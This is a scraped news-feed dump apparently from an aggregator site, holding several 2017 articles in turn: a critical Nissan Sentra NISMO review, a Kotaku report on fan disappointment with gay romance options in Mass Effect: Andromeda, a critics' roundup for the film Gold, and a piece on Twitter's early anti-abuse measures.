The steering is updated as well, and the weight feels fairly nice. Unfortunately, it still lacks feedback, and it isn’t as precise as we would like in a performance car.

The Sentra NISMO’s styling is also a mixed bag. On the outside, the little Nissan gets some more visual excitement in the form of more aggressive front and rear bumpers, deep side skirts, a lip spoiler, and new wheels. The lower bodywork features red accents. Don’t worry about clashing colors, though, since the NISMO is only available in white, silver, dark silver, and black. Some of us in the office find the new look to be rather handsome, particularly in the darker hues. However, others find the new side skirts and bumpers add unwanted visual mass to an already tall and slab-sided sedan.

Inside, NISMO does what it can to liven up a drab cabin. Faux carbon fiber, NISMO badges, red accents, and suede cover most every surface. The suede is very soft and is found on various surfaces that drivers will touch frequently such as the steering wheel and the nicely padded armrests. Exclusive NISMO seats replace the standard chairs, and they’re improved in almost every way, from the additional bolstering, to the grippy suede and cloth. But those improvements are overshadowed by an overstuffed headrest that can’t be adjusted. This means that it’s constantly pushing on the back of your head unless you lean the seat way back. This editor came back from a few drives with some tired neck muscles.

Nissan Sentra NISMO interior

Aside from the headrest issue, other problems plague the Sentra NISMO interior. The steering wheel’s telescoping function doesn’t telescope enough for all drivers to find a comfortable driving position. There’s no tension in the adjustment lever, so you had better have a firm grasp on the wheel when you move it. If you don’t, it’ll slam down to the bottom of the tilt range. The shift lever is a particularly weak point. It’s one of the most chintzy-feeling shifters this editor has used, making unpleasant clunking and rattling noises when the button is pushed in, and the shift plate moves when making gear selections. The headliner and sun visors feel cheap thanks to a stiff and scratchy upholstery that’s kinda of like low-grade felt. And of course, it’s hard to get into a sporty mood when you sit as high up as you do in a Sentra. The driving position is on par with certain compact crossovers.

The final issue with the Sentra NISMO is that it’s overpriced. It starts at $ 25,855, and for similar money, you could have a far more enjoyable and powerful Volkswagen GTI or Ford Focus ST. The GTI is a little less than $ 600 more, and the Focus ST is about $ 200 less. Or if you wanted to save some money, the similarly powerful Honda Civic Sport hatchback can be had for about $ 3,700 less at $ 22,175. And, unlike the NISMO, that car is legitimately fun.

In the end, the Sentra NISMO fails because it’s based on an aging commuter platform that excels only at having space and a relatively comfortable ride, and the NISMO trim doesn’t do enough to overcome those issues inherent to the Sentra platform. It doesn’t add power, and gains in handling sacrifice one of the Sentra’s few strong points. Perhaps if a future Sentra NISMO based on a completely new platform appears, Nissan will have a real competitor. But until then, the current NISMO is too much money for too little car.

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]]> https://briefnews.eu/overpriced-and-underwhelming-2017-nissan-sentra-nismo/feed/ 0 Underwhelming Gay Romance Options In Mass Effect: Andromeda Disappoint Many Fans https://briefnews.eu/underwhelming-gay-romance-options-in-mass-effect-andromeda-disappoint-many-fans/ https://briefnews.eu/underwhelming-gay-romance-options-in-mass-effect-andromeda-disappoint-many-fans/#respond Mon, 27 Mar 2017 19:55:07 +0000 http://briefnews.eu/underwhelming-gay-romance-options-in-mass-effect-andromeda-disappoint-many-fans/

Mass Effect is a franchise known for letting players sleep with other characters, and while that sauciness makes a return in Andromeda, some romance routes have left fans heartbroken.

Since it was released, Andromeda has been criticized about how it handles gay romance options, particularly for male characters. On neoGAF, Reddit, unofficial BioWare forums, and on Twitter, there are hundreds of pages of complaints, with many people accusing BioWare of treating gay romance as an “afterthought.”

On a basic level, people have pointed out that players who choose to play as a man can only romance two other men in the game. Male characters can romance more women, and players who play as a woman can romance more women and more men. BioWare games’ romance plots usually involve dozens of optional conversations spread across dozens of hours of playing time, usually culminating with a profession of love (and/or lust) and then a sex scene. The pair of male gay options Andromeda includes aren’t nearly as extensive as the other romance paths.

One option, a smuggler named Reyes Vidal, only appears in a couple of quests. Gil Brodie, an engineer on your ship, is also gay, but, unlike many of the women and straight men available for romance in the game, he’s not actually a squadmate. As side characters, Reyes and Brodie can only offer the player short dialogue prompts, whereas full-on squadmates have long dialogue scenes that are further expanded on during missions, when the player can hear extra banter. (Other sexualities get short flings like Reyes and Gil, but these are complemented with longer romance routes as well.) Players are also unhappy that both Reyes and Vidal only have make-out scenes that fade to black, rather than anything approximating the risque and partially nude sex scenes available for other sexualities.

It’s a testy situation that has caused players to circulate infographics chronicling romance options across games. Across four Mass Effect games, male-on-male romance options didn’t appear until the third game:

Image via: @amusinglymuse

The issue, as dozens of fans have explained to me, isn’t just that there are fewer options. Many fans describe feeling tricked because BioWare had boasted ahead of release about the ample romance options available in the game, but was coy when fans asked for specifics pertaining to non-straight options. Trailers featured a male Ryder kissing women, but fans did not know what to expect when it came to queer romance options and many clearly had their hopes up.

“Marketing played up romance options,” Erika Fresen, a fan, told Kotaku. “Devs teased ‘Bangdromeda’ and confirmed alien kissing. Gay male fans assumed this included them too.”

“I’d…hoped that [Mass Effect: Andromeda] would follow in [Dragon Age: Inquisition’s] footsteps by announcing the romance options advance of release,” Jon Erik Christianson, a writer for ComicsAlliance, told Kotaku. “I knew Iron Bull and Dorian Pavus were my options two months before DA:I came out…[for Mass Effect: Andromeda] everyone had to wait until launch.”

Unable to know specifics, fans latched onto offhand Tweets, like one posted by Tom Taylorson, male Ryder’s voice actor, which seemed to suggest there would be male gay alien romances:

“Normally I’d say it would be silly to spoil things about characters before the game’s even out, but they added the factor of teasing and I think that’s what makes the difference,” said Zunnoab, a fan.

Fans also looked at BioWare’s wider track record, which includes Dragon Age: Inquisition, and assumed that, like that game, Andromeda would also offer deep romance options for all sexualities. The two franchises are made by different teams, but on the whole, BioWare has built up a progressive image that now influences what players expect from their games, regardless of which part of BioWare is making it.

“BioWare has a reputation of including quality representations [of] gay and bisexual characters in their games, and it’s up to all of BioWare to uphold that reputation,” fan Chris S. told Kotaku. “But even ignoring the comparisons to Dragon Age, this still feels like a step back from the progress made in Mass Effect 3. In Mass Effect 3, there was a [gay male] option that was a squad mate and uniquely designed, something not in Andromeda.”

Many of the disappointed fans I spoke to mentioned that they disliked that Reyes and Gil had aspects that could be recreated in the built-in character creator, rather than exhibiting unique facial characteristics available to squadmates. Details like those, combined with their sparse plotlines, also contributed to the fandom’s fear that gay romance options weren’t given much care.

After the release, fans pointed to in-game code that allegedly suggests Jaal, one of the new aliens, appeared to have lines referencing a potential gay romance route:

We can’t verify that this code actually refers to a gay romance, but things do change during development: that’s why developers often don’t talk about specifics regarding what is or isn’t going to be in a game. Still, this specific line of code was enough to inspire a hashtag on Twitter, #makeJaalBi, where tons of fans are demanding “equal opportunity” banging. I reached out to BioWare to ask about Jaal’s romance, and the wider outcry about gay romances, but did not hear back in time for publication.

Andromeda features an achievement called “Matchmaker,” which asks the player to complete romances with three different characters. Straight, bi, and lesbian players can complete the achievement without wading outside of their sexualities, but strictly male gay characters can’t.

“We cannot even gain an achievement unless we play as straight [male] Ryder (which sounds like conversation therapy to me and is no way attracting me),” said J Mittelstadt, another fan. “All I asked for is a place where I can go to and explore, have some action, meet awesome characters, get inspired, and maybe get invested with a fictional character in a safe way, since I can’t just do that in real life.”

Those who do settle for the in-game romances dislike the lack of polish, which admittedly plagues the game as a whole. As I mentioned in my review, animation shortcomings stand out the most during intimate scenes, but that issue is especially bad for gay players. Male on male scenes look awkward, as if the game does not know how to account for romantic scenes that don’t involve women.

To be fair, anyone who isn’t pursuing a straight romance with a human squadmate named Cora isn’t going to get something very satisfying out of Mass Effect: Andromeda. Her sex scene is full of small touches that bring the scene to life. The other sex scenes do not stack up. When you romance Peebee the Asari as a woman, for example, the sex scene makes it seem as if she is riding a penis that is not actually there: it’s an animation that seems to be recycled from the male sex scene. If you look at the other romance scenes, you’ll note weird gaps where gay characters hold each other, as if the game does not account for the idea that two women or two men might be caressing each other. The underlying animation appears to treat all romance as if it is straight.

Even looking beyond such surface-level details, the specifics of the male gay romances aren’t heartening either. Gil’s storyline revolves around another friend, Jil, who pressures him into having a baby because it is his “duty” as a man. In the real world, some people treat homosexuality as “unnatural” because of how it affects reproduction, so the undercurrent to the storyline felt uncomfortable to some of the players.

“This whole story is one that could have had so much potential and broken down many barriers, but again it’s a case of not being thought out well enough,” wrote amoebae on neoGAF. “You don’t decide to have a baby together because you’ve developed a deep and committed relationship and decided to take it to the next level by starting a family of your own- but rather a women who insists on highlighting that being gay means robbing the world of reproduction opportunities.”

Image source: xLetalis

Reyes is revealed to be a villain, which some players feel is stereotypical. (In my game, Reyes appeared to be a cool character with a good twist, but I also didn’t go in looking to fall in love with him. Players looking for real romance aren’t satisfied by what Reyes can provide.)

Mostly, though, players feel hurt about gay romance routes because they really love BioWare, and don’t want to be treated as, in the words of at least one fan, second-class citizens.

“Mass Effect 3 showed me a world where gay men could be heroes who saved the world,” said Brendan Routh, a BioWare fan. “Heroes who could love other men and not be ashamed about it. Heroes who in fact took strength from their love and channeled into a desire to save the world. It meant a lot to me.”

“[Romance in older BioWare games] made me feel acknowledged as a gay gamer, it made me feel understood and less alone but most importantly, it gave me a bigger sense of self-respect and self-worth because it showed me that, yes, I as a gay gamer was worth developing content for that was just as good and substantial as everyone else’s,” said Stefan, another fan. “[BioWare] games taught me that I didn’t have to feel content with game developers treating me like a second-class citizen just because I was a gay man.”

One fan did express discomfort with the pushback against the studio. “The truth is, BioWare—or any game company—isn’t obligated to give us anything,” said Hernan L, another fan. “Getting worked up about this makes it look like all we do is complain and cry foul when we’re not represented to the degree that we want.

“That’s what makes it worse, though,” he continued. “It feel[s] like sometimes we shouldn’t even ask for more representation because it makes us seem needy or needlessly offended when the truth is all we’re really asking for is the same things the rest of the gaming community has.”

“We love BioWare,” Mutant_anemony, a player, told Kotaku. “We just want to know they love us, too.”


Kotaku

]]> https://briefnews.eu/underwhelming-gay-romance-options-in-mass-effect-andromeda-disappoint-many-fans/feed/ 0 Gold movie reviews: Matthew McConaughey’s latest is ‘an amoral underwhelming MESS’ https://briefnews.eu/gold-movie-reviews-matthew-mcconaugheys-latest-is-an-amoral-underwhelming-mess/ https://briefnews.eu/gold-movie-reviews-matthew-mcconaugheys-latest-is-an-amoral-underwhelming-mess/#respond Thu, 02 Feb 2017 17:33:15 +0000 http://briefnews.eu/gold-movie-reviews-matthew-mcconaugheys-latest-is-an-amoral-underwhelming-mess/

Even before his Best Actor Oscar win for Dallas Buyers Club in 2014, the McConaissance has been in full swing for the former rom-com actor.

Now McConaughey is back in crime drama Gold, the true story of a fake gold deposit supposedly found in Indonesia.

However the film has failed to charm the critics, with a shocking 38% positive reviews on Rotten Tomatoes.

The New Republic
“The movie is a mess, but it’s also an oddly amoral mess.”

Independent
“Is it an anti-capitalist parable or a shaggy dog story? It is never clear what intentions lie behind Stephen Gaghan’s new film, which only glitters very intermittently.”

Time Out
“Torn between hard-hitting satire on the pitfalls of capitalism and goofy, upbeat we’re-in-the-money clichés.”

Blu-ray.com
“Gold underwhelms immensely, futilely working to make indulgent acting and an uneventful screenplay into a compelling ride over a psychological minefield.”

Associated Press
“The intense charisma of McConaughey is nearly enough to keep Gold from sinking. But the film keeps restyling itself in progressively absurd shifts.”

New Yorker
“You feel weirdly uninvolved, and ever more unsurprised by the lurches of fate.”

Entertainment Weekly
“Gold ain’t the McConaissance 2.0. But at least the actor is having fun again.”

While

But despite the film’s backlash, some critics were more defensive of Gold, highlighting McConaughey’s performance.

Empire
“Nothing you haven’t seen done better elsewhere, this one’s a missed opportunity.
“McConaughey’s hard work is impressive, but that’s the only message Gold is interested in conveying.”

Total Film
“McConaughey’s sweat-stained swagger of a performance in Stephen Gaghan’s comeback ensures Gold rocks.”

Rolling Stone
“McConaughey deep dives into his role as a mad-dog prospector like a starving man sitting down to a least.
“As a movie, Gold is slim pickings. But McConaughey keeps you riveted.”

Gold is released in UK cinemas on February 3, 2017.

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]]> https://briefnews.eu/gold-movie-reviews-matthew-mcconaugheys-latest-is-an-amoral-underwhelming-mess/feed/ 0 Twitter’s fightback against abuse off to an underwhelming start https://briefnews.eu/twitters-fightback-against-abuse-off-to-an-underwhelming-start/ https://briefnews.eu/twitters-fightback-against-abuse-off-to-an-underwhelming-start/#respond Thu, 02 Feb 2017 08:24:49 +0000 http://briefnews.eu/twitters-fightback-against-abuse-off-to-an-underwhelming-start/ Twitter kicked off its renewed effort to combat abuse and harassment on its site on Wednesday with a new support feature.

However, the update likely won’t stir much excitement among users, neither does it send the right signal to investors that this is a problem Twitter is finally getting around to fixing.

After a flurry of tweets from Twitter execs and the company’s CEO Jack Dorsey promising a quick turnaround in regards to abuse, the platform’s first step lets users report tweets that mention them from accounts that have blocked them.

It’s a frustrating start to a process that was supposed to restore faith in the company. “We’re taking a completely new approach to abuse on Twitter,” remarked Dorsey in a tweet shared just days ago. “Including having a more open & real-time dialogue about it every step of the way.”

The Twitter chief’s tweet followed a series of posts from Twitter VP engineering Ed Ho, in which he detailed some of the fixes the company has in the works. Twitter claims its initial changes will target the mute and block functions, which allow users to hide another person’s activity from their timeline or restrict specific accounts from contacting them. He added that the site aims to put a stop to repeat offenders creating new accounts.

More: Instagram rolls out new features in an effort to combat cyberbullying

Ho also said that more changes are coming this week — so, hopefully something more substantial will be introduced any day now.

Coincidentally, earlier on Wednesday, the company’s former CEO Dick Costolo expressed his regret at not tackling the site’s abuse problem during his close-to-five-year tenure as the company’s head.

“I wish I could turn back the clock and go back to 2010 and stop abuse on the platform by creating a very specific bar for how to behave on the platform… I take responsibility for not taking the bull by the horns,” said Costolo at a tech summit, reports Axios.

Costolo’s thoughts on the matter had previously been leaked when an internal memo he sent to Twitter staff made it online in February 2015. “We suck at dealing with abuse and trolls on the platform and we’ve sucked at it for years,” he wrote in the memo. The then-CEO also said the platform’s inability to fix the issue was costing it users.

Almost two years down the line his former company is still struggling with how best to deal with its harassment conundrum. Its execs, however, sound more inspired than ever, with VP product Keith Coleman (who joined the company in December) tweeting: “There’s a lot coming. Can’t wait to roll it out. We’ll be listening and iterating quickly as we go.”

At the very least, the one positive to take away from Twitter’s renewed commitment to stemming harassment is the transparency on display. Judging from the tweets, its management is keen to bring users onboard and learn from their feedback.

Digital Trends

]]> https://briefnews.eu/twitters-fightback-against-abuse-off-to-an-underwhelming-start/feed/ 0